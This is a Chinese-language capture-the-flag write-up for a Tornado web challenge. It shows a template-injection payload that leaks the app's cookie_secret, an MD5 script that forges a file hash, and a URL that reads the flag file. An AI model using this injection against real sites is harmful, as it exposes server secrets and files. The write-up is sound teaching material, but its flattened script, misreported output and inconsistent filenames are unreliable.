当我们打开网页的时候,看见了
那我们都来查看一下吧。
通过第一个条件我们得知,flag是存放在里的。
而第二个条件说的render,它其实是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
而我们在hints里面看到的这个条件,猜测是需要构造file?filename=/fllllllllllllag.txt&filehash=?这个的。
filehash后面的值是多少,首先我们得知道cookie_secret,把它找出来 ,就可以了。
那我自己拼接了一个,结果就输出了这个‘
这个其实就是一个注入点,这个就利用到了第二个条件了,需要模板注入。/error?msg={{handler.settings}}
惊奇的发现了,cookie_secret
那既然cookie_secret出来了,再根据以上条件,编写一个python脚本将最后filename的hash值给找出来:
import hashlib def md5value(s): md5 = hashlib.md5() md5.update(s) return md5.hexdigest() def encode(): filename = '/fllllllllllllag' cookie_s ="26c5d178-38d8-4123-b5c8-3bfc2cff0903" print(md5value(filename.encode('utf-8'))) x=md5value(filename.encode('utf-8')) y=cookie_s+x print(md5value(y.encode('utf-8'))) encode()
跑一下这个脚本,最后得到了26c5d178-38d8-4123-b5c8-3bfc2cff0903
构造最终脚本:
http://04f10c8d-3e96-47ef-8b81-4be5a82e672b.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=de81fb1e6414ae515857757e315fb520
这样便可以拿到flag